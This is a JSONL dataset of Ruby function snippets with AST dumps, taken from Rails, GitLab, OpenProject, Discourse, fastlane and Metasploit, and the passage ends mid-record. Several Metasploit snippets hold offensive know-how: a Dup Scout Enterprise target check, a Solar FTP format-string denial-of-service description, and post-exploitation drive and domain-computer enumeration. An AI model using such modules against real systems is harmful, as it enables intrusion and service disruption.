{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/dupscts_bof.rb","start_line":129,"raw_source":"def check\n    res = send_request_cgi({\n      'uri' => '/',\n      'method' => 'GET'\n    })\n\n    unless res\n      return CheckCode::Unknown('Connection failed.')\n    end\n\n    version = res.body.scan(/>Dup Scout Enterprise v([\\d.]+)</).flatten.first\n\n    unless version\n      return CheckCode::Safe('Target is not Dup Scout Enterprise.')\n    end\n\n    unless target_for_version(version)\n      return CheckCode::Detected(\"No targets for Dup Scout Enterprise version #{version}.\")\n    end\n\n    CheckCode::Appears(\"Dup Scout Enterprise version #{version}.\")\n  end","complexity_score":16.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Connection failed.\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\">Dup Scout Enterprise v([\\\\d.]+)<\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"Target is not Dup Scout Enterprise.\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_for_version\",{\"type\":\"lvar\",\"children\":[\"version\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No targets for Dup Scout Enterprise version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Dup Scout Enterprise version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}]}","id":"b4d01b3a-e18d-4075-b767-4d872f330618"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/range_ext_test.rb","start_line":264,"raw_source":"def test_step_on_time_with_zone\n      twz = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone[\"Eastern Time (US & Canada)\"], Time.utc(2006, 11, 28, 10, 30))\n\n      assert_equal [twz, twz + 15.minutes, twz + 30.minutes], (twz..).step(15.minutes).first(3)\n    end","complexity_score":18.15,"ast_json":"{\"type\":\"def\",\"children\":[\"test_step_on_time_with_zone\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"twz\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeWithZone\"]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeZone\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Eastern Time (US & Canada)\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[11]},{\"type\":\"int\",\"children\":[28]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[30]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[15]},\"minutes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[30]},\"minutes\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},null]}]},\"step\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[15]},\"minutes\"]}]},\"first\",{\"type\":\"int\",\"children\":[3]}]}]}]}]}","id":"61bb8e35-cde6-4d18-820e-b5ed95cd2ff5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/merge_requests/locked_set.rb","start_line":12,"raw_source":"def self.add(item_or_collection, rescue_connection_error: true)\n        with(rescue_connection_error: rescue_connection_error) do |redis|\n          redis.sadd(KEY, item_or_collection)\n        end\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"add\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item_or_collection\"]},{\"type\":\"kwoptarg\",\"children\":[\"rescue_connection_error\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rescue_connection_error\"]},{\"type\":\"lvar\",\"children\":[\"rescue_connection_error\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"sadd\",{\"type\":\"const\",\"children\":[null,\"KEY\"]},{\"type\":\"lvar\",\"children\":[\"item_or_collection\"]}]}]}]}","id":"8034ff45-a865-44f6-a557-876a33ca368d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/windows/file_system.rb","start_line":411,"raw_source":"def get_drives\n          drives = []\n          if session.type == \"meterpreter\" && session.railgun\n            bitmask = session.railgun.kernel32.GetLogicalDrives()[\"return\"]\n            letters = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n            (0..25).each do |i|\n              label = letters[i,1]\n              rem = bitmask % (2**(i+1))\n              if rem > 0\n                drives << label\n                bitmask = bitmask - rem\n              end\n            end\n          else\n            disks = cmd_exec(\"wmic logicaldisk get caption\").split(\"\\r\\n\")\n            for disk in disks\n              if /([A-Z]):/ =~ disk\n                drives << disk[0]\n              end\n            end\n          end\n\n          drives\n        end","complexity_score":49.05,"ast_json":"{\"type\":\"def\",\"children\":[\"get_drives\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"drives\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"meterpreter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"railgun\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bitmask\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"railgun\"]},\"kernel32\"]},\"GetLogicalDrives\"]},\"[]\",{\"type\":\"str\",\"children\":[\"return\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"letters\",{\"type\":\"str\",\"children\":[\"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[25]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"label\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"letters\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rem\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmask\"]},\"%\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"**\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rem\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"drives\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"label\"]}]},{\"type\":\"lvasgn\",\"children\":[\"bitmask\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmask\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"rem\"]}]}]}]},null]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"disks\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"wmic logicaldisk get caption\"]}]},\"split\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"for\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"disk\"]},{\"type\":\"lvar\",\"children\":[\"disks\"]},{\"type\":\"if\",\"children\":[{\"type\":\"match_with_lvasgn\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"([A-Z]):\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"disk\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"drives\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"disk\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},null]}]}]}]},{\"type\":\"lvar\",\"children\":[\"drives\"]}]}]}","id":"913cd17a-5435-42b3-923d-5e8bd4427341"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/sharepoint_ssi_viewstate.rb","start_line":109,"raw_source":"def username\n    datastore['HttpUsername']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"username\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HttpUsername\"]}]}]}","id":"e5c7064b-642d-45d9-bf5a-9ada39a8ddc3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers/packages/dependency_proxy_helpers.rb","start_line":19,"raw_source":"def redirect_registry_request(forward_to_registry: false, package_type: nil, target: nil, **options)\n          if forward_to_registry && redirect_registry_request_available?(package_type, target) && maven_forwarding_ff_enabled?(package_type, target)\n            ::Gitlab::Tracking.event(self.options[:for].name, \"#{package_type}_request_forward\")\n            redirect(registry_url(package_type, options), body: options[:body])\n            # For the requests with POST methods we need to set status 307 in order to keep request's method\n            status :temporary_redirect if options[:method] == 'POST'\n          else\n            yield\n          end\n        end","complexity_score":21.7,"ast_json":"{\"type\":\"def\",\"children\":[\"redirect_registry_request\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"forward_to_registry\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"package_type\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"target\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"forward_to_registry\"]},{\"type\":\"send\",\"children\":[null,\"redirect_registry_request_available?\",{\"type\":\"lvar\",\"children\":[\"package_type\"]},{\"type\":\"lvar\",\"children\":[\"target\"]}]}]},{\"type\":\"send\",\"children\":[null,\"maven_forwarding_ff_enabled?\",{\"type\":\"lvar\",\"children\":[\"package_type\"]},{\"type\":\"lvar\",\"children\":[\"target\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Tracking\"]},\"event\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"for\"]}]},\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package_type\"]}]},{\"type\":\"str\",\"children\":[\"_request_forward\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect\",{\"type\":\"send\",\"children\":[null,\"registry_url\",{\"type\":\"lvar\",\"children\":[\"package_type\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"body\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"method\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"send\",\"children\":[null,\"status\",{\"type\":\"sym\",\"children\":[\"temporary_redirect\"]}]},null]}]},{\"type\":\"yield\",\"children\":[]}]}]}","id":"5e5a80eb-93bb-4d8e-b8b5-23101677a8a4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/windows/ftp/solarftp_user.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Solar FTP Server Malformed USER Denial of Service',\n        'Description' => %q{\n          This module will send a format string as USER to Solar FTP, causing a\n          READ violation in function \"__output_1()\" found in \"sfsservice.exe\"\n          while trying to calculate the length of the string. This vulnerability\n          affects versions 2.1.1 and earlier.\n        },\n        'Author' => [\n          'x000 <3d3n[at]hotmail.com.br>', # Initial disclosure/exploit\n          'C4SS!0 G0M3S <Louredo_[at]hotmail.com>',  # Metasploit submission\n          'sinn3r',                                  # Metasploit edit/commit\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2011-10029' ],\n          [ 'EDB', '16204' ],\n        ],\n        'DisclosureDate' => '2011-02-22',\n        'Notes' => {\n          'Stability' => [CRASH_SERVICE_DOWN],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(21)\n      ]\n    )\n  end","complexity_score":5.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Solar FTP Server Malformed USER Denial of Service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module will send a format string as USER to Solar FTP, causing a\\n\"]},{\"type\":\"str\",\"children\":[\"          READ violation in function \\\"__output_1()\\\" found in \\\"sfsservice.exe\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"          while trying to calculate the length of the string. This vulnerability\\n\"]},{\"type\":\"str\",\"children\":[\"          affects versions 2.1.1 and earlier.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"x000 <3d3n[at]hotmail.com.br>\"]},{\"type\":\"str\",\"children\":[\"C4SS!0 G0M3S <Louredo_[at]hotmail.com>\"]},{\"type\":\"str\",\"children\":[\"sinn3r\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2011-10029\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"16204\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2011-02-22\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[21]}]}]}]}]}]}","id":"fec84654-0156-42a6-8344-ed8fd31de0ea"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/spec/support/pages/meetings/show.rb","start_line":733,"raw_source":"def meeting_reference_value\n      page_header = page.find(\"#meetings-header-component page-header\")\n      page_header[\"data-reference-value\"]\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"meeting_reference_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"page_header\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\"#meetings-header-component page-header\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page_header\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data-reference-value\"]}]}]}]}","id":"bfbf6867-1a41-4f7a-8fda-0d900c11c13e"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/work_packages/create_dialog.rb","start_line":84,"raw_source":"def expect_no_custom_field(custom_field)\n        expect(page).to have_no_field \"work_package_custom_field_values_#{custom_field.id}\"\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_no_custom_field\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"custom_field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_no_field\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"work_package_custom_field_values_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_field\"]},\"id\"]}]}]}]}]}]}","id":"3514e501-af06-448c-af8d-c4ed17eab332"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/navigation_menu/sidebar.rb","start_line":93,"raw_source":"def has_no_my_messages_link?(text = my_messages)\n          page.has_no_css?(my_messages_link_css, text:)\n        end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_no_my_messages_link?\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[null,\"my_messages\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_no_css?\",{\"type\":\"send\",\"children\":[null,\"my_messages_link_css\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]}]}","id":"8ccd4bcd-f09f-4967-a404-63cb147edefb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/enum_computers.rb","start_line":39,"raw_source":"def run\n    hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']\n    print_status(\"Running module against #{hostname} (#{session.session_host})\")\n\n    domain = get_domain_name\n\n    fail_with(Failure::Unknown, 'Could not retrieve domain name. Is the host part of a domain?') unless domain\n\n    netbios_domain_name = domain.split('.').first.upcase\n\n    hostname_list = get_domain_computers\n\n    if hostname_list.empty?\n      print_error('No computers found')\n      return\n    end\n\n    list_computers(netbios_domain_name, hostname_list)\n  end","complexity_score":26.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hostname\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"hostname\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Computer\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Running module against \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hostname\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"session_host\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"domain\",{\"type\":\"send\",\"children\":[null,\"get_domain_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Could not retrieve domain name. Is the host part of a domain?\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"netbios_domain_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain\"]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]},\"first\"]},\"upcase\"]}]},{\"type\":\"lvasgn\",\"children\":[\"hostname_list\",{\"type\":\"send\",\"children\":[null,\"get_domain_computers\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hostname_list\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"No computers found\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"list_computers\",{\"type\":\"lvar\",\"children\":[\"netbios_domain_name\"]},{\"type\":\"lvar\",\"children\":[\"hostname_list\"]}]}]}]}","id":"ca9f3391-b433-4a50-9160-71bba368a357"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/application/default_middleware_stack.rb","start_line":8,"raw_source":"def initialize(app, config, paths)\n        @app = app\n        @config = config\n        @paths = paths\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"app\"]},{\"type\":\"arg\",\"children\":[\"config\"]},{\"type\":\"arg\",\"children\":[\"paths\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@app\",{\"type\":\"lvar\",\"children\":[\"app\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@config\",{\"type\":\"lvar\",\"children\":[\"config\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@paths\",{\"type\":\"lvar\",\"children\":[\"paths\"]}]}]}]}","id":"e2ede60b-9b5f-4a97-b18d-8b6046f48dd0"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/spec/itunes_transporter_spec.rb","start_line":16,"raw_source":"def shell_upload_command(provider_short_name: nil, transporter: nil, jwt: nil, use_asset_path: false, username: email, input_pass: password, api_key: nil)\n      upload_part = use_asset_path ? \"-assetFile /tmp/#{random_uuid}.ipa\" : \"-f /tmp/my.app.id.itmsp\"\n\n      username = username if username != email\n      escaped_password = input_pass\n      unless escaped_password.nil?\n        escaped_password = escaped_password.shellescape\n        unless FastlaneCore::Helper.windows?\n          escaped_password = escaped_password.gsub(\"\\\\'\") do\n            \"'\\\"\\\\'\\\"'\"\n          end\n          escaped_password = \"'#{escaped_password}'\"\n        end\n      end\n      [\n        '\"' + FastlaneCore::Helper.transporter_path + '\"',\n        \"-m upload\",\n        (if jwt.nil?\n           if api_key.nil?\n             if username.nil? || escaped_password.nil?\n               nil\n             else\n               \"-u #{username.shellescape} -p #{escaped_password}\"\n             end\n           else\n             \"-apiIssuer #{api_key[:issuer_id]} -apiKey #{api_key[:key_id]}\"\n           end\n         else\n           \"-jwt #{jwt}\"\n         end),\n        upload_part,\n        (transporter.to_s if transporter),\n        \"-k 100000\",\n        (\"-WONoPause true\" if FastlaneCore::Helper.windows?),\n        (\"-itc_provider #{provider_short_name}\" if provider_short_name)\n      ].compact.join(' ')\n    end","complexity_score":54.2,"ast_json":"{\"type\":\"def\",\"children\":[\"shell_upload_command\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"provider_short_name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"transporter\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"jwt\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"use_asset_path\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"username\",{\"type\":\"send\",\"children\":[null,\"email\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"input_pass\",{\"type\":\"send\",\"children\":[null,\"password\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"api_key\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"upload_part\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"use_asset_path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-assetFile /tmp/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"random_uuid\"]}]},{\"type\":\"str\",\"children\":[\".ipa\"]}]},{\"type\":\"str\",\"children\":[\"-f 